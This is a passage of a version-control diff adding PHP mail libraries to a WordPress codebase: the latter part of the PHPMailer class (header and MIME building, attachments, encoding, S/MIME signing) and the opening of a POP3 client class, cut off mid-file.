'mail')) && (count($this->cc) > 0)) { + $result .= $this->AddrAppend('Cc', $this->cc); + } + + /* sendmail and mail() extract Bcc from the header before sending */ + if((($this->Mailer == 'sendmail') || ($this->Mailer == 'mail')) && (count($this->bcc) > 0)) { + $result .= $this->AddrAppend('Bcc', $this->bcc); + } + + if(count($this->ReplyTo) > 0) { + $result .= $this->AddrAppend('Reply-To', $this->ReplyTo); + } + + /* mail() sets the subject itself */ + if($this->Mailer != 'mail') { + $result .= $this->HeaderLine('Subject', $this->EncodeHeader($this->SecureHeader($this->Subject))); + } + + if($this->MessageID != '') { + $result .= $this->HeaderLine('Message-ID',$this->MessageID); + } else { + $result .= sprintf("Message-ID: <%s@%s>%s", $uniq_id, $this->ServerHostname(), $this->LE); + } + $result .= $this->HeaderLine('X-Priority', $this->Priority); + $result .= $this->HeaderLine('X-Mailer', 'PHPMailer (phpmailer.sourceforge.net) [version ' . $this->Version . ']'); + + if($this->ConfirmReadingTo != '') { + $result .= $this->HeaderLine('Disposition-Notification-To', '<' . trim($this->ConfirmReadingTo) . '>'); + } + + // Add custom headers + for($index = 0; $index < count($this->CustomHeader); $index++) { + $result .= $this->HeaderLine(trim($this->CustomHeader[$index][0]), $this->EncodeHeader(trim($this->CustomHeader[$index][1]))); + } + if (!$this->sign_key_file) { + $result .= $this->HeaderLine('MIME-Version', '1.0'); + $result .= $this->GetMailMIME(); + } + + return $result; + } + + /** + * Returns the message MIME. + * @access private + * @return string + */ + function GetMailMIME() { + $result = ''; + switch($this->message_type) { + case 'plain': + $result .= $this->HeaderLine('Content-Transfer-Encoding', $this->Encoding); + $result .= sprintf("Content-Type: %s; charset=\"%s\"", $this->ContentType, $this->CharSet); + break; + case 'attachments': + /* fall through */ + case 'alt_attachments': + if($this->InlineImageExists()){ + $result .= sprintf("Content-Type: %s;%s\ttype=\"text/html\";%s\tboundary=\"%s\"%s", 'multipart/related', $this->LE, $this->LE, $this->boundary[1], $this->LE); + } else { + $result .= $this->HeaderLine('Content-Type', 'multipart/mixed;'); + $result .= $this->TextLine("\tboundary=\"" . $this->boundary[1] . '"'); + } + break; + case 'alt': + $result .= $this->HeaderLine('Content-Type', 'multipart/alternative;'); + $result .= $this->TextLine("\tboundary=\"" . $this->boundary[1] . '"'); + break; + } + + if($this->Mailer != 'mail') { + $result .= $this->LE.$this->LE; + } + + return $result; + } + + /** + * Assembles the message body. Returns an empty string on failure. + * @access private + * @return string + */ + function CreateBody() { + $result = ''; + if ($this->sign_key_file) { + $result .= $this->GetMailMIME(); + } + + $this->SetWordWrap(); + + switch($this->message_type) { + case 'alt': + $result .= $this->GetBoundary($this->boundary[1], '', 'text/plain', ''); + $result .= $this->EncodeString($this->AltBody, $this->Encoding); + $result .= $this->LE.$this->LE; + $result .= $this->GetBoundary($this->boundary[1], '', 'text/html', ''); + $result .= $this->EncodeString($this->Body, $this->Encoding); + $result .= $this->LE.$this->LE; + $result .= $this->EndBoundary($this->boundary[1]); + break; + case 'plain': + $result .= $this->EncodeString($this->Body, $this->Encoding); + break; + case 'attachments': + $result .= $this->GetBoundary($this->boundary[1], '', '', ''); + $result .= $this->EncodeString($this->Body, $this->Encoding); + $result .= $this->LE; + $result .= $this->AttachAll(); + break; + case 'alt_attachments': + $result .= sprintf("--%s%s", $this->boundary[1], $this->LE); + $result .= sprintf("Content-Type: %s;%s" . "\tboundary=\"%s\"%s", 'multipart/alternative', $this->LE, $this->boundary[2], $this->LE.$this->LE); + $result .= $this->GetBoundary($this->boundary[2], '', 'text/plain', '') . $this->LE; // Create text body + $result .= $this->EncodeString($this->AltBody, $this->Encoding); + $result .= $this->LE.$this->LE; + $result .= $this->GetBoundary($this->boundary[2], '', 'text/html', '') . $this->LE; // Create the HTML body + $result .= $this->EncodeString($this->Body, $this->Encoding); + $result .= $this->LE.$this->LE; + $result .= $this->EndBoundary($this->boundary[2]); + $result .= $this->AttachAll(); + break; + } + + if($this->IsError()) { + $result = ''; + } else if ($this->sign_key_file) { + $file = tempnam("", "mail"); + $fp = fopen($file, "w"); + fwrite($fp, $result); + fclose($fp); + $signed = tempnam("", "signed"); + + if (@openssl_pkcs7_sign($file, $signed, "file://".$this->sign_cert_file, array("file://".$this->sign_key_file, $this->sign_key_pass), null)) { + $fp = fopen($signed, "r"); + $result = fread($fp, filesize($this->sign_key_file)); + $result = ''; + while(!feof($fp)){ + $result = $result . fread($fp, 1024); + } + fclose($fp); + } else { + $this->SetError($this->Lang("signing").openssl_error_string()); + $result = ''; + } + + unlink($file); + unlink($signed); + } + + return $result; + } + + /** + * Returns the start of a message boundary. + * @access private + */ + function GetBoundary($boundary, $charSet, $contentType, $encoding) { + $result = ''; + if($charSet == '') { + $charSet = $this->CharSet; + } + if($contentType == '') { + $contentType = $this->ContentType; + } + if($encoding == '') { + $encoding = $this->Encoding; + } + $result .= $this->TextLine('--' . $boundary); + $result .= sprintf("Content-Type: %s; charset = \"%s\"", $contentType, $charSet); + $result .= $this->LE; + $result .= $this->HeaderLine('Content-Transfer-Encoding', $encoding); + $result .= $this->LE; + + return $result; + } + + /** + * Returns the end of a message boundary. + * @access private + */ + function EndBoundary($boundary) { + return $this->LE . '--' . $boundary . '--' . $this->LE; + } + + /** + * Sets the message type. + * @access private + * @return void + */ + function SetMessageType() { + if(count($this->attachment) < 1 && strlen($this->AltBody) < 1) { + $this->message_type = 'plain'; + } else { + if(count($this->attachment) > 0) { + $this->message_type = 'attachments'; + } + if(strlen($this->AltBody) > 0 && count($this->attachment) < 1) { + $this->message_type = 'alt'; + } + if(strlen($this->AltBody) > 0 && count($this->attachment) > 0) { + $this->message_type = 'alt_attachments'; + } + } + } + + /* Returns a formatted header line. + * @access private + * @return string + */ + function HeaderLine($name, $value) { + return $name . ': ' . $value . $this->LE; + } + + /** + * Returns a formatted mail line. + * @access private + * @return string + */ + function TextLine($value) { + return $value . $this->LE; + } + + ///////////////////////////////////////////////// + // CLASS METHODS, ATTACHMENTS + ///////////////////////////////////////////////// + + /** + * Adds an attachment from a path on the filesystem. + * Returns false if the file could not be found + * or accessed. + * @param string $path Path to the attachment. + * @param string $name Overrides the attachment name. + * @param string $encoding File encoding (see $Encoding). + * @param string $type File extension (MIME) type. + * @return bool + */ + function AddAttachment($path, $name = '', $encoding = 'base64', $type = 'application/octet-stream') { + if(!@is_file($path)) { + $this->SetError($this->Lang('file_access') . $path); + return false; + } + + $filename = basename($path); + if($name == '') { + $name = $filename; + } + + $cur = count($this->attachment); + $this->attachment[$cur][0] = $path; + $this->attachment[$cur][1] = $filename; + $this->attachment[$cur][2] = $name; + $this->attachment[$cur][3] = $encoding; + $this->attachment[$cur][4] = $type; + $this->attachment[$cur][5] = false; // isStringAttachment + $this->attachment[$cur][6] = 'attachment'; + $this->attachment[$cur][7] = 0; + + return true; + } + + /** + * Attaches all fs, string, and binary attachments to the message. + * Returns an empty string on failure. + * @access private + * @return string + */ + function AttachAll() { + /* Return text of body */ + $mime = array(); + + /* Add all attachments */ + for($i = 0; $i < count($this->attachment); $i++) { + /* Check for string attachment */ + $bString = $this->attachment[$i][5]; + if ($bString) { + $string = $this->attachment[$i][0]; + } else { + $path = $this->attachment[$i][0]; + } + + $filename = $this->attachment[$i][1]; + $name = $this->attachment[$i][2]; + $encoding = $this->attachment[$i][3]; + $type = $this->attachment[$i][4]; + $disposition = $this->attachment[$i][6]; + $cid = $this->attachment[$i][7]; + + $mime[] = sprintf("--%s%s", $this->boundary[1], $this->LE); + $mime[] = sprintf("Content-Type: %s; name=\"%s\"%s", $type, $this->EncodeHeader($this->SecureHeader($name)), $this->LE); + $mime[] = sprintf("Content-Transfer-Encoding: %s%s", $encoding, $this->LE); + + if($disposition == 'inline') { + $mime[] = sprintf("Content-ID: <%s>%s", $cid, $this->LE); + } + + $mime[] = sprintf("Content-Disposition: %s; filename=\"%s\"%s", $disposition, $this->EncodeHeader($this->SecureHeader($name)), $this->LE.$this->LE); + + /* Encode as string attachment */ + if($bString) { + $mime[] = $this->EncodeString($string, $encoding); + if($this->IsError()) { + return ''; + } + $mime[] = $this->LE.$this->LE; + } else { + $mime[] = $this->EncodeFile($path, $encoding); + if($this->IsError()) { + return ''; + } + $mime[] = $this->LE.$this->LE; + } + } + + $mime[] = sprintf("--%s--%s", $this->boundary[1], $this->LE); + + return join('', $mime); + } + + /** + * Encodes attachment in requested format. Returns an + * empty string on failure. + * @access private + * @return string + */ + function EncodeFile ($path, $encoding = 'base64') { + if(!@$fd = fopen($path, 'rb')) { + $this->SetError($this->Lang('file_open') . $path); + return ''; + } + $magic_quotes = get_magic_quotes_runtime(); + set_magic_quotes_runtime(0); + $file_buffer = fread($fd, filesize($path)); + $file_buffer = $this->EncodeString($file_buffer, $encoding); + fclose($fd); + set_magic_quotes_runtime($magic_quotes); + + return $file_buffer; + } + + /** + * Encodes string to requested format. Returns an + * empty string on failure. + * @access private + * @return string + */ + function EncodeString ($str, $encoding = 'base64') { + $encoded = ''; + switch(strtolower($encoding)) { + case 'base64': + /* chunk_split is found in PHP >= 3.0.6 */ + $encoded = chunk_split(base64_encode($str), 76, $this->LE); + break; + case '7bit': + case '8bit': + $encoded = $this->FixEOL($str); + if (substr($encoded, -(strlen($this->LE))) != $this->LE) + $encoded .= $this->LE; + break; + case 'binary': + $encoded = $str; + break; + case 'quoted-printable': + $encoded = $this->EncodeQP($str); + break; + default: + $this->SetError($this->Lang('encoding') . $encoding); + break; + } + return $encoded; + } + + /** + * Encode a header string to best of Q, B, quoted or none. + * @access private + * @return string + */ + function EncodeHeader ($str, $position = 'text') { + $x = 0; + + switch (strtolower($position)) { + case 'phrase': + if (!preg_match('/[\200-\377]/', $str)) { + /* Can't use addslashes as we don't know what value has magic_quotes_sybase. */ + $encoded = addcslashes($str, "\0..\37\177\\\""); + if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) { + return ($encoded); + } else { + return ("\"$encoded\""); + } + } + $x = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches); + break; + case 'comment': + $x = preg_match_all('/[()"]/', $str, $matches); + /* Fall-through */ + case 'text': + default: + $x += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches); + break; + } + + if ($x == 0) { + return ($str); + } + + $maxlen = 75 - 7 - strlen($this->CharSet); + /* Try to select the encoding which should produce the shortest output */ + if (strlen($str)/3 < $x) { + $encoding = 'B'; + if (function_exists('mb_strlen') && $this->HasMultiBytes($str)) { + // Use a custom function which correctly encodes and wraps long + // multibyte strings without breaking lines within a character + $encoded = $this->Base64EncodeWrapMB($str); + } else { + $encoded = base64_encode($str); + $maxlen -= $maxlen % 4; + $encoded = trim(chunk_split($encoded, $maxlen, "\n")); + } + } else { + $encoding = 'Q'; + $encoded = $this->EncodeQ($str, $position); + $encoded = $this->WrapText($encoded, $maxlen, true); + $encoded = str_replace('='.$this->LE, "\n", trim($encoded)); + } + + $encoded = preg_replace('/^(.*)$/m', " =?".$this->CharSet."?$encoding?\\1?=", $encoded); + $encoded = trim(str_replace("\n", $this->LE, $encoded)); + + return $encoded; + } + + /** + * Checks if a string contains multibyte characters. + * @access private + * @param string $str multi-byte text to wrap encode + * @return bool + */ + function HasMultiBytes($str) { + if (function_exists('mb_strlen')) { + return (strlen($str) > mb_strlen($str, $this->CharSet)); + } else { // Assume no multibytes (we can't handle without mbstring functions anyway) + return False; + } + } + + /** + * Correctly encodes and wraps long multibyte strings for mail headers + * without breaking lines within a character. + * Adapted from a function by paravoid at http://uk.php.net/manual/en/function.mb-encode-mimeheader.php + * @access private + * @param string $str multi-byte text to wrap encode + * @return string + */ + function Base64EncodeWrapMB($str) { + $start = "=?".$this->CharSet."?B?"; + $end = "?="; + $encoded = ""; + + $mb_length = mb_strlen($str, $this->CharSet); + // Each line must have length <= 75, including $start and $end + $length = 75 - strlen($start) - strlen($end); + // Average multi-byte ratio + $ratio = $mb_length / strlen($str); + // Base64 has a 4:3 ratio + $offset = $avgLength = floor($length * $ratio * .75); + + for ($i = 0; $i < $mb_length; $i += $offset) { + $lookBack = 0; + + do { + $offset = $avgLength - $lookBack; + $chunk = mb_substr($str, $i, $offset, $this->CharSet); + $chunk = base64_encode($chunk); + $lookBack++; + } + while (strlen($chunk) > $length); + + $encoded .= $chunk . $this->LE; + } + + // Chomp the last linefeed + $encoded = substr($encoded, 0, -strlen($this->LE)); + return $encoded; + } + + /** + * Encode string to quoted-printable. + * @access private + * @return string + */ + function EncodeQP( $input = '', $line_max = 76, $space_conv = false ) { + $hex = array('0','1','2','3','4','5','6','7','8','9','A','B','C','D','E','F'); + $lines = preg_split('/(?:\r\n|\r|\n)/', $input); + $eol = "\r\n"; + $escape = '='; + $output = ''; + while( list(, $line) = each($lines) ) { + $linlen = strlen($line); + $newline = ''; + for($i = 0; $i < $linlen; $i++) { + $c = substr( $line, $i, 1 ); + $dec = ord( $c ); + if ( ( $i == 0 ) && ( $dec == 46 ) ) { // convert first point in the line into =2E + $c = '=2E'; + } + if ( $dec == 32 ) { + if ( $i == ( $linlen - 1 ) ) { // convert space at eol only + $c = '=20'; + } else if ( $space_conv ) { + $c = '=20'; + } + } elseif ( ($dec == 61) || ($dec < 32 ) || ($dec > 126) ) { // always encode "\t", which is *not* required + $h2 = floor($dec/16); + $h1 = floor($dec%16); + $c = $escape.$hex[$h2].$hex[$h1]; + } + if ( (strlen($newline) + strlen($c)) >= $line_max ) { // CRLF is not counted + $output .= $newline.$escape.$eol; // soft line break; " =\r\n" is okay + $newline = ''; + // check if newline first character will be point or not + if ( $dec == 46 ) { + $c = '=2E'; + } + } + $newline .= $c; + } // end of for + $output .= $newline.$eol; + } // end of while + return $output; + } + + /** + * Callback for converting to "=XX". + * @access private + * @return string + */ + function EncodeQ_callback ($matches) { + return sprintf('=%02X', ord($matches[1])); + } + + /** + * Encode string to q encoding. + * @access private + * @return string + */ + function EncodeQ ($str, $position = 'text') { + /* There should not be any EOL in the string */ + $encoded = preg_replace("/[\r\n]/", '', $str); + + switch (strtolower($position)) { + case 'phrase': + $encoded = preg_replace_callback("/([^A-Za-z0-9!*+\/ -])/", + array('PHPMailer', 'EncodeQ_callback'), $encoded); + break; + case 'comment': + $encoded = preg_replace_callback("/([\(\)\"])/", + array('PHPMailer', 'EncodeQ_callback'), $encoded); + break; + case 'text': + default: + /* Replace every high ascii, control =, ? and _ characters */ + $encoded = preg_replace_callback('/([\000-\011\013\014\016-\037\075\077\137\177-\377])/', + array('PHPMailer', 'EncodeQ_callback'), $encoded); + break; + } + + /* Replace every spaces to _ (more readable than =20) */ + $encoded = str_replace(' ', '_', $encoded); + + return $encoded; + } + + /** + * Adds a string or binary attachment (non-filesystem) to the list. + * This method can be used to attach ascii or binary data, + * such as a BLOB record from a database. + * @param string $string String attachment data. + * @param string $filename Name of the attachment. + * @param string $encoding File encoding (see $Encoding). + * @param string $type File extension (MIME) type. + * @return void + */ + function AddStringAttachment($string, $filename, $encoding = 'base64', $type = 'application/octet-stream') { + /* Append to $attachment array */ + $cur = count($this->attachment); + $this->attachment[$cur][0] = $string; + $this->attachment[$cur][1] = $filename; + $this->attachment[$cur][2] = $filename; + $this->attachment[$cur][3] = $encoding; + $this->attachment[$cur][4] = $type; + $this->attachment[$cur][5] = true; // isString + $this->attachment[$cur][6] = 'attachment'; + $this->attachment[$cur][7] = 0; + } + + /** + * Adds an embedded attachment. This can include images, sounds, and + * just about any other document. Make sure to set the $type to an + * image type. For JPEG images use "image/jpeg" and for GIF images + * use "image/gif". + * @param string $path Path to the attachment. + * @param string $cid Content ID of the attachment. Use this to identify + * the Id for accessing the image in an HTML form. + * @param string $name Overrides the attachment name. + * @param string $encoding File encoding (see $Encoding). + * @param string $type File extension (MIME) type. + * @return bool + */ + function AddEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = 'application/octet-stream') { + + if(!@is_file($path)) { + $this->SetError($this->Lang('file_access') . $path); + return false; + } + + $filename = basename($path); + if($name == '') { + $name = $filename; + } + + /* Append to $attachment array */ + $cur = count($this->attachment); + $this->attachment[$cur][0] = $path; + $this->attachment[$cur][1] = $filename; + $this->attachment[$cur][2] = $name; + $this->attachment[$cur][3] = $encoding; + $this->attachment[$cur][4] = $type; + $this->attachment[$cur][5] = false; + $this->attachment[$cur][6] = 'inline'; + $this->attachment[$cur][7] = $cid; + + return true; + } + + /** + * Returns true if an inline attachment is present. + * @access private + * @return bool + */ + function InlineImageExists() { + $result = false; + for($i = 0; $i < count($this->attachment); $i++) { + if($this->attachment[$i][6] == 'inline') { + $result = true; + break; + } + } + + return $result; + } + + ///////////////////////////////////////////////// + // CLASS METHODS, MESSAGE RESET + ///////////////////////////////////////////////// + + /** + * Clears all recipients assigned in the TO array. Returns void. + * @return void + */ + function ClearAddresses() { + $this->to = array(); + } + + /** + * Clears all recipients assigned in the CC array. Returns void. + * @return void + */ + function ClearCCs() { + $this->cc = array(); + } + + /** + * Clears all recipients assigned in the BCC array. Returns void. + * @return void + */ + function ClearBCCs() { + $this->bcc = array(); + } + + /** + * Clears all recipients assigned in the ReplyTo array. Returns void. + * @return void + */ + function ClearReplyTos() { + $this->ReplyTo = array(); + } + + /** + * Clears all recipients assigned in the TO, CC and BCC + * array. Returns void. + * @return void + */ + function ClearAllRecipients() { + $this->to = array(); + $this->cc = array(); + $this->bcc = array(); + } + + /** + * Clears all previously set filesystem, string, and binary + * attachments. Returns void. + * @return void + */ + function ClearAttachments() { + $this->attachment = array(); + } + + /** + * Clears all custom headers. Returns void. + * @return void + */ + function ClearCustomHeaders() { + $this->CustomHeader = array(); + } + + ///////////////////////////////////////////////// + // CLASS METHODS, MISCELLANEOUS + ///////////////////////////////////////////////// + + /** + * Adds the error message to the error container. + * Returns void. + * @access private + * @return void + */ + function SetError($msg) { + $this->error_count++; + $this->ErrorInfo = $msg; + } + + /** + * Returns the proper RFC 822 formatted date. + * @access private + * @return string + */ + function RFCDate() { + $tz = date('Z'); + $tzs = ($tz < 0) ? '-' : '+'; + $tz = abs($tz); + $tz = (int)($tz/3600)*100 + ($tz%3600)/60; + $result = sprintf("%s %s%04d", date('D, j M Y H:i:s'), $tzs, $tz); + + return $result; + } + + /** + * Returns the appropriate server variable. Should work with both + * PHP 4.1.0+ as well as older versions. Returns an empty string + * if nothing is found. + * @access private + * @return mixed + */ + function ServerVar($varName) { + global $HTTP_SERVER_VARS; + global $HTTP_ENV_VARS; + + if(!isset($_SERVER)) { + $_SERVER = $HTTP_SERVER_VARS; + if(!isset($_SERVER['REMOTE_ADDR'])) { + $_SERVER = $HTTP_ENV_VARS; // must be Apache + } + } + + if(isset($_SERVER[$varName])) { + return $_SERVER[$varName]; + } else { + return ''; + } + } + + /** + * Returns the server hostname or 'localhost.localdomain' if unknown. + * @access private + * @return string + */ + function ServerHostname() { + if ($this->Hostname != '') { + $result = $this->Hostname; + } elseif ($this->ServerVar('SERVER_NAME') != '') { + $result = $this->ServerVar('SERVER_NAME'); + } else { + $result = 'localhost.localdomain'; + } + + return $result; + } + + /** + * Returns a message in the appropriate language. + * @access private + * @return string + */ + function Lang($key) { + if(count($this->language) < 1) { + $this->SetLanguage('en'); // set the default language + } + + if(isset($this->language[$key])) { + return $this->language[$key]; + } else { + return 'Language string failed to load: ' . $key; + } + } + + /** + * Returns true if an error occurred. + * @return bool + */ + function IsError() { + return ($this->error_count > 0); + } + + /** + * Changes every end of line from CR or LF to CRLF. + * @access private + * @return string + */ + function FixEOL($str) { + $str = str_replace("\r\n", "\n", $str); + $str = str_replace("\r", "\n", $str); + $str = str_replace("\n", $this->LE, $str); + return $str; + } + + /** + * Adds a custom header. + * @return void + */ + function AddCustomHeader($custom_header) { + $this->CustomHeader[] = explode(':', $custom_header, 2); + } + + /** + * Evaluates the message and returns modifications for inline images and backgrounds + * @access public + * @return $message + */ + function MsgHTML($message,$basedir='') { + preg_match_all("/(src|background)=\"(.*)\"/Ui", $message, $images); + if(isset($images[2])) { + foreach($images[2] as $i => $url) { + // do not change urls for absolute images (thanks to corvuscorax) + if (!preg_match('/^[A-z][A-z]*:\/\//',$url)) { + $filename = basename($url); + $directory = dirname($url); + ($directory == '.')?$directory='':''; + $cid = 'cid:' . md5($filename); + $fileParts = split("\.", $filename); + $ext = $fileParts[1]; + $mimeType = $this->_mime_types($ext); + if ( strlen($basedir) > 1 && substr($basedir,-1) != '/') { $basedir .= '/'; } + if ( strlen($directory) > 1 && substr($directory,-1) != '/') { $directory .= '/'; } + if ( $this->AddEmbeddedImage($basedir.$directory.$filename, md5($filename), $filename, 'base64',$mimeType) ) { + $message = preg_replace("/".$images[1][$i]."=\"".preg_quote($url, '/')."\"/Ui", $images[1][$i]."=\"".$cid."\"", $message); + } + } + } + } + $this->IsHTML(true); + $this->Body = $message; + $textMsg = trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/s','',$message))); + if ( !empty($textMsg) && empty($this->AltBody) ) { + $this->AltBody = html_entity_decode($textMsg); + } + if ( empty($this->AltBody) ) { + $this->AltBody = 'To view this email message, open the email in with HTML compatibility!' . "\n\n"; + } + } + + /** + * Gets the mime type of the embedded or inline image + * @access private + * @return mime type of ext + */ + function _mime_types($ext = '') { + $mimes = array( + 'ai' => 'application/postscript', + 'aif' => 'audio/x-aiff', + 'aifc' => 'audio/x-aiff', + 'aiff' => 'audio/x-aiff', + 'avi' => 'video/x-msvideo', + 'bin' => 'application/macbinary', + 'bmp' => 'image/bmp', + 'class' => 'application/octet-stream', + 'cpt' => 'application/mac-compactpro', + 'css' => 'text/css', + 'dcr' => 'application/x-director', + 'dir' => 'application/x-director', + 'dll' => 'application/octet-stream', + 'dms' => 'application/octet-stream', + 'doc' => 'application/msword', + 'dvi' => 'application/x-dvi', + 'dxr' => 'application/x-director', + 'eml' => 'message/rfc822', + 'eps' => 'application/postscript', + 'exe' => 'application/octet-stream', + 'gif' => 'image/gif', + 'gtar' => 'application/x-gtar', + 'htm' => 'text/html', + 'html' => 'text/html', + 'jpe' => 'image/jpeg', + 'jpeg' => 'image/jpeg', + 'jpg' => 'image/jpeg', + 'hqx' => 'application/mac-binhex40', + 'js' => 'application/x-javascript', + 'lha' => 'application/octet-stream', + 'log' => 'text/plain', + 'lzh' => 'application/octet-stream', + 'mid' => 'audio/midi', + 'midi' => 'audio/midi', + 'mif' => 'application/vnd.mif', + 'mov' => 'video/quicktime', + 'movie' => 'video/x-sgi-movie', + 'mp2' => 'audio/mpeg', + 'mp3' => 'audio/mpeg', + 'mpe' => 'video/mpeg', + 'mpeg' => 'video/mpeg', + 'mpg' => 'video/mpeg', + 'mpga' => 'audio/mpeg', + 'oda' => 'application/oda', + 'pdf' => 'application/pdf', + 'php' => 'application/x-httpd-php', + 'php3' => 'application/x-httpd-php', + 'php4' => 'application/x-httpd-php', + 'phps' => 'application/x-httpd-php-source', + 'phtml' => 'application/x-httpd-php', + 'png' => 'image/png', + 'ppt' => 'application/vnd.ms-powerpoint', + 'ps' => 'application/postscript', + 'psd' => 'application/octet-stream', + 'qt' => 'video/quicktime', + 'ra' => 'audio/x-realaudio', + 'ram' => 'audio/x-pn-realaudio', + 'rm' => 'audio/x-pn-realaudio', + 'rpm' => 'audio/x-pn-realaudio-plugin', + 'rtf' => 'text/rtf', + 'rtx' => 'text/richtext', + 'rv' => 'video/vnd.rn-realvideo', + 'sea' => 'application/octet-stream', + 'shtml' => 'text/html', + 'sit' => 'application/x-stuffit', + 'so' => 'application/octet-stream', + 'smi' => 'application/smil', + 'smil' => 'application/smil', + 'swf' => 'application/x-shockwave-flash', + 'tar' => 'application/x-tar', + 'text' => 'text/plain', + 'txt' => 'text/plain', + 'tgz' => 'application/x-tar', + 'tif' => 'image/tiff', + 'tiff' => 'image/tiff', + 'wav' => 'audio/x-wav', + 'wbxml' => 'application/vnd.wap.wbxml', + 'wmlc' => 'application/vnd.wap.wmlc', + 'word' => 'application/msword', + 'xht' => 'application/xhtml+xml', + 'xhtml' => 'application/xhtml+xml', + 'xl' => 'application/excel', + 'xls' => 'application/vnd.ms-excel', + 'xml' => 'text/xml', + 'xsl' => 'text/xml', + 'zip' => 'application/zip' + ); + return ( ! isset($mimes[strtolower($ext)])) ? 'application/octet-stream' : $mimes[strtolower($ext)]; + } + + /** + * Set (or reset) Class Objects (variables) + * + * Usage Example: + * $page->set('X-Priority', '3'); + * + * @access public + * @param string $name Parameter Name + * @param mixed $value Parameter Value + * NOTE: will not work with arrays, there are no arrays to set/reset + */ + function set ( $name, $value = '' ) { + if ( isset($this->$name) ) { + $this->$name = $value; + } else { + $this->SetError('Cannot set or reset variable ' . $name); + return false; + } + } + + /** + * Read a file from a supplied filename and return it. + * + * @access public + * @param string $filename Parameter File Name + */ + function getFile($filename) { + $return = ''; + if ($fp = fopen($filename, 'rb')) { + while (!feof($fp)) { + $return .= fread($fp, 1024); + } + fclose($fp); + return $return; + } else { + return false; + } + } + + /** + * Strips newlines to prevent header injection. + * @access private + * @param string $str String + * @return string + */ + function SecureHeader($str) { + $str = trim($str); + $str = str_replace("\r", "", $str); + $str = str_replace("\n", "", $str); + return $str; + } + + /** + * Set the private key file and password to sign the message. + * + * @access public + * @param string $key_filename Parameter File Name + * @param string $key_pass Password for private key + */ + function Sign($cert_filename, $key_filename, $key_pass) { + $this->sign_cert_file = $cert_filename; + $this->sign_key_file = $key_filename; + $this->sign_key_pass = $key_pass; + } + +} + +?> diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/class-pop3.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/class-pop3.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,651 @@ +BUFFER,"integer"); + if( !empty($server) ) { + // Do not allow programs to alter MAILSERVER + // if it is already specified. They can get around + // this if they -really- want to, so don't count on it. + if(empty($this->MAILSERVER)) + $this->MAILSERVER = $server; + } + if(!empty($timeout)) { + settype($timeout,"integer"); + $this->TIMEOUT = $timeout; + if (!ini_get('safe_mode')) + set_time_limit($timeout); + } + return true; + } + + function update_timer () { + if (!ini_get('safe_mode')) + set_time_limit($this->TIMEOUT); + return true; + } + + function connect ($server, $port = 110) { + // Opens a socket to the specified server. Unless overridden, + // port defaults to 110. Returns true on success, false on fail + + // If MAILSERVER is set, override $server with it's value + + if (!isset($port) || !$port) {$port = 110;} + if(!empty($this->MAILSERVER)) + $server = $this->MAILSERVER; + + if(empty($server)){ + $this->ERROR = "POP3 connect: " . _("No server specified"); + unset($this->FP); + return false; + } + + $fp = @fsockopen("$server", $port, $errno, $errstr); + + if(!$fp) { + $this->ERROR = "POP3 connect: " . _("Error ") . "[$errno] [$errstr]"; + unset($this->FP); + return false; + } + + socket_set_blocking($fp,-1); + $this->update_timer(); + $reply = fgets($fp,$this->BUFFER); + $reply = $this->strip_clf($reply); + if($this->DEBUG) + error_log("POP3 SEND [connect: $server] GOT [$reply]",0); + if(!$this->is_ok($reply)) { + $this->ERROR = "POP3 connect: " . _("Error ") . "[$reply]"; + unset($this->FP); + return false; + } + $this->FP = $fp; + $this->BANNER = $this->parse_banner($reply); + return true; + } + + function user ($user = "") { + // Sends the USER command, returns true or false + + if( empty($user) ) { + $this->ERROR = "POP3 user: " . _("no login ID submitted"); + return false; + } elseif(!isset($this->FP)) { + $this->ERROR = "POP3 user: " . _("connection not established"); + return false; + } else { + $reply = $this->send_cmd("USER $user"); + if(!$this->is_ok($reply)) { + $this->ERROR = "POP3 user: " . _("Error ") . "[$reply]"; + return false; + } else + return true; + } + } + + function pass ($pass = "") { + // Sends the PASS command, returns # of msgs in mailbox, + // returns false (undef) on Auth failure + + if(empty($pass)) { + $this->ERROR = "POP3 pass: " . _("No password submitted"); + return false; + } elseif(!isset($this->FP)) { + $this->ERROR = "POP3 pass: " . _("connection not established"); + return false; + } else { + $reply = $this->send_cmd("PASS $pass"); + if(!$this->is_ok($reply)) { + $this->ERROR = "POP3 pass: " . _("Authentication failed") . " [$reply]"; + $this->quit(); + return false; + } else { + // Auth successful. + $count = $this->last("count"); + $this->COUNT = $count; + return $count; + } + } + } + + function apop ($login,$pass) { + // Attempts an APOP login. If this fails, it'll + // try a standard login. YOUR SERVER MUST SUPPORT + // THE USE OF THE APOP COMMAND! + // (apop is optional per rfc1939) + + if(!isset($this->FP)) { + $this->ERROR = "POP3 apop: " . _("No connection to server"); + return false; + } elseif(!$this->ALLOWAPOP) { + $retVal = $this->login($login,$pass); + return $retVal; + } elseif(empty($login)) { + $this->ERROR = "POP3 apop: " . _("No login ID submitted"); + return false; + } elseif(empty($pass)) { + $this->ERROR = "POP3 apop: " . _("No password submitted"); + return false; + } else { + $banner = $this->BANNER; + if( (!$banner) or (empty($banner)) ) { + $this->ERROR = "POP3 apop: " . _("No server banner") . ' - ' . _("abort"); + $retVal = $this->login($login,$pass); + return $retVal; + } else { + $AuthString = $banner; + $AuthString .= $pass; + $APOPString = md5($AuthString); + $cmd = "APOP $login $APOPString"; + $reply = $this->send_cmd($cmd); + if(!$this->is_ok($reply)) { + $this->ERROR = "POP3 apop: " . _("apop authentication failed") . ' - ' . _("abort"); + $retVal = $this->login($login,$pass); + return $retVal; + } else { + // Auth successful. + $count = $this->last("count"); + $this->COUNT = $count; + return $count; + } + } + } + } + + function login ($login = "", $pass = "") { + // Sends both user and pass. Returns # of msgs in mailbox or + // false on failure (or -1, if the error occurs while getting + // the number of messages.) + + if( !isset($this->FP) ) { + $this->ERROR = "POP3 login: " . _("No connection to server"); + return false; + } else { + $fp = $this->FP; + if( !$this->user( $login ) ) { + // Preserve the error generated by user() + return false; + } else { + $count = $this->pass($pass); + if( (!$count) || ($count == -1) ) { + // Preserve the error generated by last() and pass() + return false; + } else + return $count; + } + } + } + + function 